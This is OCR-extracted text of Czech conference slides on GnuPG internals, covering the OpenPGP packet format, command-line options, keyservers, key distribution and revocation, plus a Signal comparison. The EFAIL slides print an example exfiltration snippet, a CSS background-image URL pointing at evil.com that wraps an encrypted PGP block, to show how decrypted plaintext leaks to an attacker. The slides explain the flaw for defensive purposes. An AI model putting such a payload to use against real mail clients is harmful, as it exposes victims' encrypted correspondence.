PGP/GnuPG a nadstavby

Vnitrnosti GhuPG - format zprav,
keyringu. Jak funguji tooly nad nim
(Enigmail apod)
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GnuPG

e opensource nahrada PGP

 format packetu je standardizovan
- RFC 4880 (OpenPGP packet format)
* low-level analyza zprav pomocit:

- gpg --list-packets
— pgpdump -ilmp (externi utilita)




Priklad packet formatu

v Sifrované a podepsané zprave neni videt,
kdo ji podepsal, dokud se nedesifruje (!)

Old: Public-Key Encrypted Session Key Packet(tag 1) (268 bytes)

New version(3)

Key ID - OxACBDEF1100EOB6FB

Pub alg - RSA Encrypt or Sign(pub 1)

RSA m~e mod n(2047 bits) - 60 el f8 22 62 f5 47 37 fb 8a 56 af 89 a6 46 cf 3d 17 a5
ca 51 35 53 42 fa 5f e0 72 cd 48 80 ae la e0 df 24 cO bf 46 43 97 1b a4 87 2b 04 92 83 a3
Oe 8e 56 b8 cd 44 81 50 ef ca 0d d9 ab 7f d1 86 16 75 8d 4f f8 98 d5 35 50 a3 af ed 8c cb6

[...]
->m = sym alg(l byte) + checksum(2 bytes) + PKCS-1 block type 02
New: Symmetrically Encrypted and MDC Packet(tag 18) (458 bytes)
Ver 1
Encrypted data [sym alg is specified in pub-key encrypted session key]
(plain text + MDC SHA1(20 bytes))




Packet format (keyring)

e v keyringu lIze videt public key, podpisy

 ale | vecl jako preferované hash algoritmy
nebo preferovany key server

:signature packet: algo 1, keyid ABCDABCDABCDABCD
version 4, created 1332591488, md5len 0, sigclass 0x13
of digest 1la 39
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(key flags: 03)
(pref-sym-algos: 9 8 7 3 2)
(pref-hash-algos: 8 2 9 10 11)
(pref-zip-algos: 2 3 1)
(features: 01)

(key server preferences: 80)
(primary user ID)

2 len 4 (sig created 2012-03-14)
24 len 31 (preferred key server: x-hkp://pool.sks-




Packet format — anomalie

» encrypted packets muzou byt zanofeny

* jde spiS o nejasnost standardu, nebylo to
zamysleno k pouziti

 interneé v GnuPG je max depth = 32

» prakticky to nema vyuziti, ale nezpusobilo
to zatim zadnou chybu




GnuPG command line

e UzZivatels

e uzivatels
e zakladni

Ky dost neprehledné Ul

Ky privetivé asi ja
optiony
encrypt / --decrypt

- --sign / --verify
- -a (ASCII armor output, vhodné pro mail)

K0 Git

- --recv-keys (nalézt na keyserveru)

- --send-keys (publikovat na keyserveru)




GnuPG command line (2)

» advanced options

- --detach-sign (podpis do separatniho
souboru), vhodné na podpisovani
velkych dat (1ISO images)

- --clearsign (podpis kratkych zprav in-line,
ignoruje typ konce fadku LF vs CR vs
CRI/LF)




GnuPG command line (3)

 dost uziteCnych véeci je skrytych pod
bizarnimi optiony

e ZjiSteni, komu je zprava Sifrovana (Ize
vypnout, --throw-keyid — neni default)

gpg --batch --decrypt --list-only --status-fd 1




In-line podpis (--clearsign)

----- BEGIN PGP SIGNED MESSAGE- - - - -
Hash: SHA256

Babish neni podvodnik
a nikdy nikoho nezabil.

Feroslav Kmenta.
----- BEGIN PGP SIGNATURE-----

KR79db1ENwoNjsySbnrTVA/3Q/dqv8kpK+Yoz5Dh2rS7ptprB5+Kio8x3cLbMZcaUBkvflAfomiv
gvvimDS35z8peNBhtVpwNx6qFI/nKEHQVc3CwxCOYIb5nW3CZtFyTpbfxttFMwBL4tXMVkd2477B
S+KYfbnmKIH1JP60k2K5Z1R+ZcD16EZoLgcXgHt8/ulyI6QCELIKUTcXyIjwIfS1I0RYG12b140+yT
De3KvFoZgyV7fYO3KrATck4QXyOrFfb9WMnocSH/ZUjdT+BmQHbIBU4cPWRmM8TlaK7Fzk1bXRDBd
ehW/cLwyTuiMmpfaASZyvBwVnbs4ulLtk3ovsYw==

----- END PGP SIGNATURE-----




Keyservery

e je jich malo, radove tak < 10 hlavnich

* synchronizuji si klice

* pokud chcete provozovat keyserver, je
nutné se domluvit s ostatnimi

* jinak si muzete asi provozovat vlastni, ale
bez synchronizace




Current security status

e bezpecCneé jen pokud je pouzivano z
command line

* integrace s maill klientami je komplikovana
kvuli API, mUze leakovat data

e posledni znamy bug EFAIL je zalozen na
tom, ze se mail klient obéti pouzite jako
,desifrovaci orakulum®




EFAIL

* nechate to obéet desifrovat a pouzijete
napr. jako request na CSS background

e do tela mailu se prida cast, ktera zasle
desifrovany plaintext na server utoCnika

body {
background-image: url("http://evil.com/
----- BEGIN PGP MESSAGE---- -

hQEMA53h4xEA4LbKAQT/WIHhWulp9dhDbu210/MI9EopsMP6hb8KqJ2UfmwS19cD
[...]




EFAIL (2)

e funguje to jen s HTML emaily

* | kdyz treba Thunderbird blokuje remote
Images, existuji casti HTML, kterych
remote nacitani neblokuje

« kazdy mailovy klient ma jiné HTML tay,
pres které Ize pouzit desifrovaci orakulum




Zprava s nesifrovanou cCasti

* bug — neni to prakticky exploitovatelné

* https://neopg.io/blog/encryption-spoof/

* |e mozné poslat zpravu, ktera ma cast
Sifrovanou (prazdnou) a cast plaintext

* mail klient to zobrazi jako kdyby cela
zprava byla Sifrovana

e podpis tomu zabrani




Zprava s nesifrovanou casti (2)

$ cat msg | gpg --list-packet
gpg: encrypted with 2048-bit RSA key, ID 66489556790B2EBE, created 2018-03-
25
"twitter://lambdafu"
# off=0 ctb=85 tag=1 hlen=3 plen=268
:pubkey enc packet: version 3, algo 1, keyid 66489556790B2ESE
data: [2048 bits]
# off=271 ctb=d2 tag=18 hlen=2 plen=33 new-ctb
:encrypted data packet:
length: 33 (nepokryva cely zbytek zpravy)
mdc_method: 2
# off=306 ctb=cb tag=11 hlen=2 plen=20 new-ctb
:literal data packet:
mode b (62), created 0, name="",
raw data: 14 bytes




Zprava s nesifrovanou casti (3)

 GPG tento pripad kontroluje a vyhlasi
chybu, pokud je téch paketu vic

e v tomto pripade je bug v tom, ze prvni
packet byl prazdny

e Opé€t, podpis tomu zabrani a bez
desSifrovani nelze vidéet




Distribuce verejnych klicu

« dosud otevreny problém (proto u TLS
existuje PKI a CA jako Let's Encrypt)

* U PGP je nalezeni verejneho klice
(nového/neznamého cloveka) celkem
obtizné

 puvodni napad byl — keyservery, oveérit
fingerprint pres jiny kanal (osobné/telefon)

e coz |e problem, pokud toho Cloveka
neznate




Praktické publikovani klice

web s https (transport security + integrity),
napr. vlastni nebo brmlab wiki (ma histori
zmen a kdo je udeélal)

vygooglitelné podle jména i fingerprintu
overitelné dalsimi kanaly

- whois domeény
— overeni treti strany (Twitter)

keybase.io nabizi registraci vicero zpusobu
overeni (vlastni web, github, twitter...)




Praktické publikovani klice (2)

* nic z predchozich metod neni 100%

» ale dava to extra prekazky nekomu
snazicim se vas impersonovat

* lepsi nez akceptovani ndhodného klice




Jak muze utocénik desSifrovat
Zpravu
o Sifrovani se neprolamuje, ale obchazi

» 7z dlouhodobeho sledovani jde v prevaznée
vetsiné o presvedceni obeti, aby si sama
nainstalovala malware (Hacking Team),
Odaye jsou zridkave

e v pripade exponovanych osob (Tor project)
nekdo nahral na keyservery kliC se stejnym
key ID — 32-bitové key ID Ize bruteforcovat

e proto se musi overit cely fingerprint




Bugy

e SpIS se vam povede poslat
kvuli bugu

nesifrované

— Enigmail pri updatu zmeni preference

- nekompatiblita verze Thunderbirdu s
Enigmailem bez radného version checku

- v druhém pripadeé Slo ¢

esSifrovat,

verifikovat podpisy, Sifrovalo maily v
draftech, ale odesilalo bez Sifrovani

 stalo se mito za léta jen 2x, ale neprijemné




GnuPG API a nadstavby
(Enigmall, ...)
 GNuPG nema dobré API pro knihovny
— VetSina parsuje vystup z stdout
- libgcrypt — jednotlivé algoritmy

- libassuan — komunikacni knihova s
GnuPG pres socket (textovy protokol)

- good luck finding good examples
» divod pouzivani binarky gpg a parsovani
vystupu je zfejme v tom, ze se to na prvni
pohled zda jednodussi, neni treba NPAPI




Revokace

e co udelat, kdyz ztratite klic, zapomenete
heslo, ukradnou vam notebook?

 teorie: vygenerovat revokacni certifikat
dopredu, ten publikovat pozdeji

» lidi by meli pravidelne spoustet gpg —
refresh-keys

* vUubec to nefunguje

— ani u TLS (kdysi seznamy CRL, pak
OCSP)




Reseni revokace

e casove omezene klice

- U TLS to Let's Encrypt limituje na 90 dni,
ale tohle je prilis kratké na PGP

e podepsat novy public key se starym klicem
a zverejnit ho (web, twitter, ...)

o teoreticky to Ize délat s podklicemi
— ale opét si lidi musi refreshovat klice
* pri revokaci dat aktivne vedet




Distribuce kli¢u v jinych apps

e Signal
- zavisi na SS7 (jinak muze Gto¢nik priradit
svuj kli¢ k vasemu ¢islu)

- bug kdyz mate ke kontaktu vicero Cisel
(vyzaduje trocha social engineering)

- revokace - unregister (nebo vymenou)
 Threema

— overovani pri setkani kontrolou (QR kod)
 prakticky revokace/rotace problematicka




Co by bylo tezsi pro state-level
attacker (GnuPG vs Signal)

* nikdy jsem nevidel, ze by nékdo utocil na
Sifrovani (to se obchazi — vzdy malware)

e staty maji obecne jednodussi pristup k
mobilnim sitim (,,one click®) nez k

nahodnému mail/VPS providerovi (kvuli
centralizaci)

e na hackférach pry SS7 pristup
(preroutovani 1 Cisla zacCina od $50)

e vyzadani dat od VPS providera ~= 0%




GnuPG vs Signal vs state-level
attacker (2)

e Signal ma perfect forward security (PFS),
tudiz nelze desifrovat staré zasifrované
zpravy (proto ten malware)

* PFS moc dobre nejde bez online key-
exchange jako Diffie-Hellman/ECDH/...

» ze sledovani ,going dark” fear mongeringu
FBI stejne to policie stejné neumi

- pouziva se malware a bruteforce PINu




Shrnuti

e podpisovat zpravy je dobry napad (kdokoliv
je mUze zaSifrovat a poslat, ne podepsat)

— podpis nelze videt az do desifrovani

» verejne klice nalezitelné s fingerprintem na
webu organizace, kam clovek prislusi (s

https), vlastnim webem — vic kanalu na
overeni

* pri rotovani klicu podepsat novy starym




Shrnuti (2)

» revokace aktivne (obeslat mailinglisty, ...)

- stale je dobré nahrat revokacni certifikat
na keyserver

- teoreticky by Slo vSechno asi zbundlovat
do jedné zpravy (revokace + novy KliC)

« workaround v mail klientech je zakazat
HTML rendering (AFAIK to nelze selektivhée
jen pro zasifrované maily)

* na 100% jistotu copy-paste & pouzit z
command line (je to otrava)




Thanks

abyssal




